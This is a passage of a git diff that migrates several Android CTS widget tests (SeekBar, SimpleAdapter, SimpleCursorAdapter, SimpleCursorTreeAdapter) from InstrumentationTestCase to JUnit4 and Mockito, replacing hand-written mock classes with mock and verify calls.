         mInstrumentation.sendPointerSync(event);
         mInstrumentation.waitForIdleSync();
-        assertTrue(listener.hasCalledOnStopTrackingTouch());
-
-        mSeekBar.setOnSeekBarChangeListener(null);
-    }
-
-    private class MockOnSeekBarListener implements OnSeekBarChangeListener {
-        private boolean mHasCalledOnProgressChanged;
-
-        private boolean mHasCalledOnStartTrackingTouch;
-
-        private boolean mHasCalledOnStopTrackingTouch;
-
-        public boolean hasCalledOnProgressChanged() {
-            return mHasCalledOnProgressChanged;
-        }
-
-        public boolean hasCalledOnStartTrackingTouch() {
-            return mHasCalledOnStartTrackingTouch;
-        }
-
-        public boolean hasCalledOnStopTrackingTouch() {
-            return mHasCalledOnStopTrackingTouch;
-        }
-
-        public void reset(){
-            mHasCalledOnProgressChanged = false;
-            mHasCalledOnStartTrackingTouch = false;
-            mHasCalledOnStopTrackingTouch = false;
-        }
-
-        public void onProgressChanged(SeekBar seekBar, int progress, boolean fromTouch) {
-            mHasCalledOnProgressChanged = true;
-        }
-
-        public void onStartTrackingTouch(SeekBar seekBar) {
-            mHasCalledOnStartTrackingTouch = true;
-        }
-
-        public void onStopTrackingTouch(SeekBar seekBar) {
-            mHasCalledOnStopTrackingTouch = true;
-        }
+        verify(mockChangeListener, times(1)).onStopTrackingTouch(mSeekBar);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java
index 5a9af25..3c388fc 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java
@@ -16,16 +16,29 @@
 
 package android.widget.cts;
 
-import android.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyString;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.content.Context;
 import android.content.res.Resources.Theme;
-import android.cts.util.WidgetTestUtils;
 import android.graphics.Bitmap;
 import android.graphics.drawable.BitmapDrawable;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.widget.ImageView;
@@ -33,7 +46,12 @@
 import android.widget.SimpleAdapter;
 import android.widget.TextView;
 import android.widget.TwoLineListItem;
-import android.widget.SimpleAdapter.ViewBinder;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 import java.util.HashMap;
@@ -42,12 +60,14 @@
 /**
  * Test {@link SimpleAdapter}.
  */
-public class SimpleAdapterTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SimpleAdapterTest {
     private static final int DEFAULT_ROW_COUNT = 20;
 
     private static final int DEFAULT_COLUMN_COUNT = 2;
 
-    private static final int[] VIEWS_TO = new int[] { R.id.text1 };
+    private static final int[] VIEWS_TO = new int[] { android.R.id.text1 };
 
     private static final String[] COLUMNS_FROM = new String[] { "column1" };
 
@@ -86,53 +106,54 @@
 
     private LayoutInflater mInflater;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         mInflater = (LayoutInflater) mContext.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
         mAdapterHost = (LinearLayout) mInflater.inflate(
-                android.widget.cts.R.layout.cursoradapter_host, null);
+                R.layout.cursoradapter_host, null);
 
         // new the SimpleAdapter instance
         mSimpleAdapter = new SimpleAdapter(mContext,
                 createTestList(DEFAULT_COLUMN_COUNT, DEFAULT_ROW_COUNT),
-                R.layout.simple_list_item_1, COLUMNS_FROM, VIEWS_TO);
+                android.R.layout.simple_list_item_1, COLUMNS_FROM, VIEWS_TO);
     }
 
+    @Test
     public void testConstructor() {
         new SimpleAdapter(mContext, createTestList(DEFAULT_COLUMN_COUNT, DEFAULT_ROW_COUNT),
-                R.layout.simple_list_item_1, COLUMNS_FROM, VIEWS_TO);
+                android.R.layout.simple_list_item_1, COLUMNS_FROM, VIEWS_TO);
     }
 
+    @Test
     public void testGetCount() {
         mSimpleAdapter = new SimpleAdapter(mContext,
                 createTestList(DEFAULT_COLUMN_COUNT, DEFAULT_ROW_COUNT),
-                R.layout.simple_list_item_1, COLUMNS_FROM, VIEWS_TO);
+                android.R.layout.simple_list_item_1, COLUMNS_FROM, VIEWS_TO);
         assertEquals(20, mSimpleAdapter.getCount());
 
         mSimpleAdapter = new SimpleAdapter(mContext, createTestList(DEFAULT_COLUMN_COUNT, 10),
-                R.layout.simple_list_item_1, COLUMNS_FROM, VIEWS_TO);
+                android.R.layout.simple_list_item_1, COLUMNS_FROM, VIEWS_TO);
         assertEquals(10, mSimpleAdapter.getCount());
     }
 
+    @Test
     public void testGetItem() {
         assertEquals("01", ((Map<?, ?>) mSimpleAdapter.getItem(0)).get("column1"));
         assertEquals("191", ((Map<?, ?>) mSimpleAdapter.getItem(19)).get("column1"));
-
-        try {
-            mSimpleAdapter.getItem(-1);
-            fail("Should throw IndexOutOfBoundsException if index is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleAdapter.getItem(20);
-            fail("Should throw IndexOutOfBoundsException if index is beyond the list's size");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetItemIndexTooLow() {
+        mSimpleAdapter.getItem(-1);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetItemIndexTooHigh() {
+        mSimpleAdapter.getItem(20);
+    }
+
+    @Test
     public void testGetItemId() {
         assertEquals(0, mSimpleAdapter.getItemId(0));
 
@@ -144,6 +165,8 @@
         assertEquals(20, mSimpleAdapter.getItemId(20));
     }
 
+    @UiThreadTest
+    @Test
     public void testGetView() {
         // use the layout passed in to constructor
         View result = mSimpleAdapter.getView(0, null, mAdapterHost);
@@ -165,45 +188,50 @@
         result = mSimpleAdapter.getView(10, convertView, null);
         assertEquals("101", ((TextView) result).getText().toString());
 
-        // the binder takes care of binding, the param ViewGroup is never readed
-        MockViewBinder binder = new MockViewBinder(true);
+        // the binder takes care of binding, the param ViewGroup is never read
+        SimpleAdapter.ViewBinder binder = mock(SimpleAdapter.ViewBinder.class);
+        doReturn(true).when(binder).setViewValue(any(View.class), any(Object.class), anyString());
         mSimpleAdapter.setViewBinder(binder);
-        binder.reset();
         mSimpleAdapter.getView(0, null, mAdapterHost);
-        assertTrue(binder.hasCalledSetViewValue());
+        verify(binder, times(1)).setViewValue(any(View.class), eq("01"), anyString());
 
         // binder try binding but fail
-        binder = new MockViewBinder(false);
-        mSimpleAdapter.setViewBinder(binder);
-        binder.reset();
+        doReturn(false).when(binder).setViewValue(any(View.class), any(Object.class), anyString());
+        reset(binder);
         result = mSimpleAdapter.getView(0, null, mAdapterHost);
-        assertTrue(binder.hasCalledSetViewValue());
+        verify(binder, times(1)).setViewValue(any(View.class), eq("01"), anyString());
         assertEquals("01", ((TextView) result).getText().toString());
-
-        try {
-            mSimpleAdapter.getView(-1, convertView, null);
-            fail("Should throw IndexOutOfBoundsException if index is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleAdapter.getView(20, convertView, null);
-            fail("Should throw IndexOutOfBoundsException if index is beyond the list's size");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetViewIndexTooLow() {
+        View result = mSimpleAdapter.getView(0, null, mAdapterHost);
+        mSimpleAdapter.getView(-1, result, null);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetViewIndexTooHigh() {
+        View result = mSimpleAdapter.getView(0, null, mAdapterHost);
+        mSimpleAdapter.getView(20, result, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testSetDropDownViewResource() {
-        mSimpleAdapter.setDropDownViewResource(R.layout.simple_list_item_2);
+        mSimpleAdapter.setDropDownViewResource(android.R.layout.simple_list_item_2);
         View result = mSimpleAdapter.getDropDownView(0, null, mAdapterHost);
         assertTrue(result instanceof TwoLineListItem);
-        assertEquals("01", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("01",
+                ((TextView) result.findViewById(android.R.id.text1)).getText().toString());
 
         result = mSimpleAdapter.getDropDownView(19, null, mAdapterHost);
         assertTrue(result instanceof TwoLineListItem);
-        assertEquals("191", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("191",
+                ((TextView) result.findViewById(android.R.id.text1)).getText().toString());
 
-        mSimpleAdapter.setDropDownViewResource(R.layout.simple_list_item_1);
+        mSimpleAdapter.setDropDownViewResource(android.R.layout.simple_list_item_1);
         result = mSimpleAdapter.getDropDownView(0, null, mAdapterHost);
         assertTrue(result instanceof TextView);
         assertEquals("01", ((TextView) result).getText().toString());
@@ -213,6 +241,8 @@
         assertEquals("191", ((TextView) result).getText().toString());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetDropDownView() {
         View result = mSimpleAdapter.getDropDownView(0, null, mAdapterHost);
         assertTrue(result instanceof TextView);
@@ -233,51 +263,55 @@
         result = mSimpleAdapter.getDropDownView(10, convertView, null);
         assertEquals("101", ((TextView) result).getText().toString());
 
-        // the binder takes care of binding, the param ViewGroup is never readed
-        MockViewBinder binder = new MockViewBinder(true);
+        // the binder takes care of binding, the param ViewGroup is never read
+        SimpleAdapter.ViewBinder binder = mock(SimpleAdapter.ViewBinder.class);
+        doReturn(true).when(binder).setViewValue(any(View.class), any(Object.class), anyString());
         mSimpleAdapter.setViewBinder(binder);
-        binder.reset();
         mSimpleAdapter.getDropDownView(19, null, mAdapterHost);
-        assertTrue(binder.hasCalledSetViewValue());
+        verify(binder, times(1)).setViewValue(any(View.class), eq("191"), anyString());
 
         // binder try binding but fail
-        binder = new MockViewBinder(false);
-        mSimpleAdapter.setViewBinder(binder);
-        binder.reset();
+        doReturn(false).when(binder).setViewValue(any(View.class), any(Object.class), anyString());
+        reset(binder);
         result = mSimpleAdapter.getDropDownView(19, null, mAdapterHost);
-        assertTrue(binder.hasCalledSetViewValue());
-        assertEquals("191", ((TextView)result).getText().toString());
-
-        try {
-            mSimpleAdapter.getDropDownView(-1, convertView, null);
-            fail("Should throw IndexOutOfBoundsException if index is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleAdapter.getDropDownView(20, convertView, null);
-            fail("Should throw IndexOutOfBoundsException if index is beyond the list's size");
-        } catch (IndexOutOfBoundsException e) {
-        }
+        verify(binder, times(1)).setViewValue(any(View.class), eq("191"), anyString());
+        assertEquals("191", ((TextView) result).getText().toString());
     }
 
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetDropDownViewIndexTooLow() {
+        View result = mSimpleAdapter.getDropDownView(0, null, mAdapterHost);
+        mSimpleAdapter.getDropDownView(-1, result, null);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetDropDownViewIndexTooHigh() {
+        View result = mSimpleAdapter.getDropDownView(0, null, mAdapterHost);
+        mSimpleAdapter.getDropDownView(20, result, null);
+    }
+
+    @Test
     public void testAccessDropDownViewTheme() {
         Theme theme = mContext.getResources().newTheme();
         mSimpleAdapter.setDropDownViewTheme(theme);
         assertSame(theme, mSimpleAdapter.getDropDownViewTheme());
     }
 
+    @Test
     public void testAccessViewBinder() {
         // no binder default
         assertNull(mSimpleAdapter.getViewBinder());
 
         // binder takes care of binding
-        MockViewBinder binder = new MockViewBinder(true);
+        SimpleAdapter.ViewBinder binder = mock(SimpleAdapter.ViewBinder.class);
+        doReturn(true).when(binder).setViewValue(any(View.class), any(Object.class), anyString());
         mSimpleAdapter.setViewBinder(binder);
         assertSame(binder, mSimpleAdapter.getViewBinder());
 
         // binder try binding but fail
-        binder = new MockViewBinder(false);
+        doReturn(false).when(binder).setViewValue(any(View.class), any(Object.class), anyString());
         mSimpleAdapter.setViewBinder(binder);
         assertSame(binder, mSimpleAdapter.getViewBinder());
 
@@ -285,13 +319,13 @@
         assertNull(mSimpleAdapter.getViewBinder());
     }
 
+    @Test
     public void testSetViewImage() {
         // String represents resId
         ImageView view = new ImageView(mContext);
         assertNull(view.getDrawable());
-        mSimpleAdapter.setViewImage(view, String.valueOf(android.widget.cts.R.drawable.scenery));
-        BitmapDrawable d = (BitmapDrawable) mContext.getResources().getDrawable(
-                android.widget.cts.R.drawable.scenery);
+        mSimpleAdapter.setViewImage(view, String.valueOf(R.drawable.scenery));
+        BitmapDrawable d = (BitmapDrawable) mContext.getDrawable(R.drawable.scenery);
         WidgetTestUtils.assertEquals(d.getBitmap(),
                 ((BitmapDrawable) view.getDrawable()).getBitmap());
 
@@ -314,9 +348,8 @@
         // resId
         view = new ImageView(mContext);
         assertNull(view.getDrawable());
-        mSimpleAdapter.setViewImage(view, android.widget.cts.R.drawable.scenery);
-        d = (BitmapDrawable) mContext.getResources()
-                .getDrawable(android.widget.cts.R.drawable.scenery);
+        mSimpleAdapter.setViewImage(view, R.drawable.scenery);
+        d = (BitmapDrawable) mContext.getDrawable(R.drawable.scenery);
         WidgetTestUtils.assertEquals(d.getBitmap(),
                 ((BitmapDrawable) view.getDrawable()).getBitmap());
 
@@ -331,17 +364,19 @@
         assertNull(view.getDrawable());
         try {
             mSimpleAdapter.setViewImage(view, SimpleCursorAdapterTest.createTestImage(mContext,
-                    "testimage", android.widget.cts.R.raw.testimage));
+                    "testimage", R.raw.testimage));
             assertNotNull(view.getDrawable());
             Bitmap actualBitmap = ((BitmapDrawable) view.getDrawable()).getBitmap();
-            Bitmap testBitmap = WidgetTestUtils.getUnscaledAndDitheredBitmap(mContext.getResources(),
-                    android.widget.cts.R.raw.testimage, actualBitmap.getConfig());
+            Bitmap testBitmap = WidgetTestUtils.getUnscaledAndDitheredBitmap(
+                    mContext.getResources(), R.raw.testimage, actualBitmap.getConfig());
             WidgetTestUtils.assertEquals(testBitmap, actualBitmap);
         } finally {
             SimpleCursorAdapterTest.destroyTestImage(mContext,"testimage");
         }
     }
 
+    @UiThreadTest
+    @Test
     public void testSetViewText() {
         TextView view = new TextView(mContext);
         mSimpleAdapter.setViewText(view, "expected");
@@ -352,6 +387,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetFilter() {
         assertNotNull(mSimpleAdapter.getFilter());
     }
@@ -367,14 +403,14 @@
      *         column1=>21} }
      */
     private ArrayList<HashMap<String, String>> createTestList(int colCount, int rowCount) {
-        ArrayList<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();
+        ArrayList<HashMap<String, String>> list = new ArrayList<>();
         String[] columns = new String[colCount];
         for (int i = 0; i < colCount; i++) {
             columns[i] = "column" + i;
         }
 
         for (int i = 0; i < rowCount; i++) {
-            HashMap<String, String> row = new HashMap<String, String>();
+            HashMap<String, String> row = new HashMap<>();
             for (int j = 0; j < colCount; j++) {
                 row.put(columns[j], "" + i + "" + j);
             }
@@ -383,27 +419,4 @@
 
         return list;
     }
-
-    private class MockViewBinder implements ViewBinder {
-        private boolean mExpectedResult;
-
-        private boolean mHasCalledSetViewValue;
-
-        public MockViewBinder(boolean expectedResult) {
-            mExpectedResult = expectedResult;
-        }
-
-        public void reset(){
-            mHasCalledSetViewValue = false;
-        }
-
-        public boolean hasCalledSetViewValue() {
-            return mHasCalledSetViewValue;
-        }
-
-        public boolean setViewValue(View view, Object data, String textRepresentation) {
-            mHasCalledSetViewValue = true;
-            return mExpectedResult;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java
index 469e581..880da98 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java
@@ -16,17 +16,29 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.content.Context;
-import android.cts.util.WidgetTestUtils;
 import android.database.Cursor;
 import android.database.MatrixCursor;
 import android.graphics.Bitmap;
 import android.graphics.drawable.BitmapDrawable;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
@@ -34,8 +46,12 @@
 import android.widget.LinearLayout;
 import android.widget.SimpleCursorAdapter;
 import android.widget.TextView;
-import android.widget.SimpleCursorAdapter.CursorToStringConverter;
-import android.widget.SimpleCursorAdapter.ViewBinder;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.IOException;
 import java.io.InputStream;
@@ -47,7 +63,9 @@
  * {@link SimpleCursorAdapterTest#mCursor} It will use internal
  * R.layout.simple_list_item_1.
  */
-public class SimpleCursorAdapterTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SimpleCursorAdapterTest {
     private static final int ADAPTER_ROW_COUNT = 20;
 
     private static final int DEFAULT_COLUMN_COUNT = 2;
@@ -88,10 +106,9 @@
      */
     private Cursor mCursor;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
 
         mCursor = createTestCursor(DEFAULT_COLUMN_COUNT, ADAPTER_ROW_COUNT);
     }
@@ -102,6 +119,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new SimpleCursorAdapter(mContext, R.layout.cursoradapter_item0,
                 createTestCursor(DEFAULT_COLUMN_COUNT, ADAPTER_ROW_COUNT),
@@ -109,6 +127,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testBindView() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         TextView listItem = (TextView) simpleCursorAdapter.newView(mContext, null, null);
@@ -124,20 +143,20 @@
 
         // the binder take care of binding
         listItem.setText("");
-        MockViewBinder binder = new MockViewBinder(true);
+        SimpleCursorAdapter.ViewBinder binder = mock(SimpleCursorAdapter.ViewBinder.class);
+        doReturn(true).when(binder).setViewValue(any(View.class), any(Cursor.class), anyInt());
         simpleCursorAdapter.setViewBinder(binder);
-        binder.reset();
         mCursor.moveToFirst();
         simpleCursorAdapter.bindView(listItem, null, mCursor);
-        assertTrue(binder.hasCalledSetViewValueCalledCount());
+        verify(binder, times(1)).setViewValue(any(View.class), eq(mCursor), eq(1));
         assertEquals("", listItem.getText().toString());
 
         // the binder try to bind but fail
-        binder = new MockViewBinder(false);
-        simpleCursorAdapter.setViewBinder(binder);
+        doReturn(false).when(binder).setViewValue(any(View.class), any(Cursor.class), anyInt());
+        reset(binder);
         mCursor.moveToLast();
         simpleCursorAdapter.bindView(listItem, null, mCursor);
-        assertTrue(binder.hasCalledSetViewValueCalledCount());
+        verify(binder, times(1)).setViewValue(any(View.class), eq(mCursor), eq(1));
         assertEquals("191", listItem.getText().toString());
 
         final int [] to = { R.id.cursorAdapter_host };
@@ -154,15 +173,17 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessViewBinder() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         assertNull(simpleCursorAdapter.getViewBinder());
 
-        MockViewBinder binder = new MockViewBinder(true);
+        SimpleCursorAdapter.ViewBinder binder = mock(SimpleCursorAdapter.ViewBinder.class);
+        doReturn(true).when(binder).setViewValue(any(View.class), any(Cursor.class), anyInt());
         simpleCursorAdapter.setViewBinder(binder);
         assertSame(binder, simpleCursorAdapter.getViewBinder());
 
-        binder = new MockViewBinder(false);
+        doReturn(false).when(binder).setViewValue(any(View.class), any(Cursor.class), anyInt());
         simpleCursorAdapter.setViewBinder(binder);
         assertSame(binder, simpleCursorAdapter.getViewBinder());
 
@@ -171,6 +192,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetViewText() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         TextView view = new TextView(mContext);
@@ -182,10 +204,11 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetViewImage() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         // resId
-        int sceneryImgResId = android.widget.cts.R.drawable.scenery;
+        int sceneryImgResId = R.drawable.scenery;
         ImageView view = new ImageView(mContext);
         assertNull(view.getDrawable());
         simpleCursorAdapter.setViewImage(view, String.valueOf(sceneryImgResId));
@@ -216,13 +239,13 @@
         view = new ImageView(mContext);
         assertNull(view.getDrawable());
         try {
-            int testimgRawId = android.widget.cts.R.raw.testimage;
+            int testimgRawId = R.raw.testimage;
             simpleCursorAdapter.setViewImage(view,
                     createTestImage(mContext, SAMPLE_IMAGE_NAME, testimgRawId));
             assertNotNull(view.getDrawable());
             Bitmap actualBitmap = ((BitmapDrawable) view.getDrawable()).getBitmap();
-            Bitmap testBitmap = WidgetTestUtils.getUnscaledAndDitheredBitmap(mContext.getResources(),
-                    testimgRawId, actualBitmap.getConfig());
+            Bitmap testBitmap = WidgetTestUtils.getUnscaledAndDitheredBitmap(
+                    mContext.getResources(), testimgRawId, actualBitmap.getConfig());
             WidgetTestUtils.assertEquals(testBitmap, actualBitmap);
         } finally {
             destroyTestImage(mContext, SAMPLE_IMAGE_NAME);
@@ -230,6 +253,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessStringConversionColumn() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         // default is -1
@@ -248,12 +272,14 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessCursorToStringConverter() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         // default is null
         assertNull(simpleCursorAdapter.getCursorToStringConverter());
 
-        CursorToStringConverter converter = new MockCursorToStringConverter();
+        SimpleCursorAdapter.CursorToStringConverter converter =
+                mock(SimpleCursorAdapter.CursorToStringConverter.class);
         simpleCursorAdapter.setCursorToStringConverter(converter);
         assertSame(converter, simpleCursorAdapter.getCursorToStringConverter());
 
@@ -262,6 +288,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testChangeCursor() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         // have "column1"
@@ -281,6 +308,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testConvertToString() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         mCursor.moveToFirst();
@@ -313,21 +341,22 @@
         assertEquals("02", simpleCursorAdapter.convertToString(curWith3Columns));
 
         // converter is not null, StringConversionColumn is 1
-        CursorToStringConverter converter = new MockCursorToStringConverter();
+        SimpleCursorAdapter.CursorToStringConverter converter =
+                mock(SimpleCursorAdapter.CursorToStringConverter.class);
         simpleCursorAdapter.setCursorToStringConverter(converter);
         simpleCursorAdapter.setStringConversionColumn(1);
-        ((MockCursorToStringConverter) converter).reset();
         simpleCursorAdapter.convertToString(curWith3Columns);
-        assertTrue(((MockCursorToStringConverter) converter).hasCalledConvertToString());
+        verify(converter, times(1)).convertToString(curWith3Columns);
     }
 
     @UiThreadTest
+    @Test
     public void testNewView() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         LayoutInflater layoutInflater = (LayoutInflater) mContext.getSystemService(
                 Context.LAYOUT_INFLATER_SERVICE);
         ViewGroup viewGroup = (ViewGroup) layoutInflater.inflate(
-                android.widget.cts.R.layout.cursoradapter_host, null);
+                R.layout.cursoradapter_host, null);
         View result = simpleCursorAdapter.newView(mContext, null, viewGroup);
         assertNotNull(result);
         assertEquals(R.id.cursorAdapter_item0, result.getId());
@@ -338,18 +367,20 @@
     }
 
     @UiThreadTest
+    @Test
     public void testNewDropDownView() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         LayoutInflater layoutInflater = (LayoutInflater) mContext.getSystemService(
                 Context.LAYOUT_INFLATER_SERVICE);
         ViewGroup viewGroup = (ViewGroup) layoutInflater.inflate(
-                android.widget.cts.R.layout.cursoradapter_host, null);
+                R.layout.cursoradapter_host, null);
         View result = simpleCursorAdapter.newDropDownView(null, null, viewGroup);
         assertNotNull(result);
         assertEquals(R.id.cursorAdapter_item0, result.getId());
     }
 
     @UiThreadTest
+    @Test
     public void testChangeCursorAndColumns() {
         SimpleCursorAdapter simpleCursorAdapter = makeSimpleCursorAdapter();
         assertSame(mCursor, simpleCursorAdapter.getCursor());
@@ -407,54 +438,15 @@
         return cursor;
     }
 
-    private static class MockViewBinder implements ViewBinder {
-        private boolean mExpectedResult;
-
-        private boolean mHasCalledSetViewValue;
-
-        public MockViewBinder(boolean expectedResult) {
-            mExpectedResult = expectedResult;
-        }
-
-        public void reset(){
-            mHasCalledSetViewValue = false;
-        }
-
-        public boolean hasCalledSetViewValueCalledCount() {
-            return mHasCalledSetViewValue;
-        }
-
-        public boolean setViewValue(View view, Cursor cursor, int columnIndex) {
-            mHasCalledSetViewValue = true;
-            return mExpectedResult;
-        }
-    }
-
     public static String createTestImage(Context context, String fileName, int resId) {
-        InputStream source = null;
-        OutputStream target = null;
-
-        try {
-            source = context.getResources().openRawResource(resId);
-            target = context.openFileOutput(fileName, Context.MODE_PRIVATE);
-
+        try (InputStream source = context.getResources().openRawResource(resId);
+             OutputStream target = context.openFileOutput(fileName, Context.MODE_PRIVATE)) {
             byte[] buffer = new byte[1024];
             for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
                 target.write(buffer, 0, len);
             }
         } catch (IOException e) {
             fail(e.getMessage());
-        } finally {
-            try {
-                if (source != null) {
-                    source.close();
-                }
-                if (target != null) {
-                    target.close();
-                }
-            } catch (IOException e) {
-                // Ignore the IOException.
-            }
         }
 
         return context.getFileStreamPath(fileName).getAbsolutePath();
@@ -463,21 +455,4 @@
     public static void destroyTestImage(Context context, String fileName) {
         context.deleteFile(fileName);
     }
-
-    private static class MockCursorToStringConverter implements CursorToStringConverter {
-        private boolean mHasCalledConvertToString;
-
-        public boolean hasCalledConvertToString() {
-            return mHasCalledConvertToString;
-        }
-
-        public void reset(){
-            mHasCalledConvertToString = false;
-        }
-
-        public CharSequence convertToString(Cursor cursor) {
-            mHasCalledConvertToString = true;
-            return null;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java
index 02941fa..fefd261 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java
@@ -16,26 +16,36 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
 
 import android.content.Context;
-import android.cts.util.WidgetTestUtils;
 import android.database.Cursor;
 import android.database.MatrixCursor;
 import android.graphics.Bitmap;
 import android.graphics.drawable.BitmapDrawable;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.ImageView;
 import android.widget.SimpleCursorTreeAdapter;
 import android.widget.TextView;
 
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link SimpleCursorTreeAdapter}.
  */
-public class SimpleCursorTreeAdapterTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SimpleCursorTreeAdapterTest {
     private static final int GROUP_LAYOUT = R.layout.cursoradapter_group0;
 
     private static final int CHILD_LAYOUT = R.layout.cursoradapter_item0;
@@ -66,13 +76,13 @@
 
     private Cursor mChildCursor;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         mGroupCursor = createTestCursor(2, 20, "group");
         new MockSimpleCursorTreeAdapter(mContext, mGroupCursor,
@@ -89,6 +99,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testBindChildView() {
         mGroupCursor = createTestCursor(2, 20, "group");
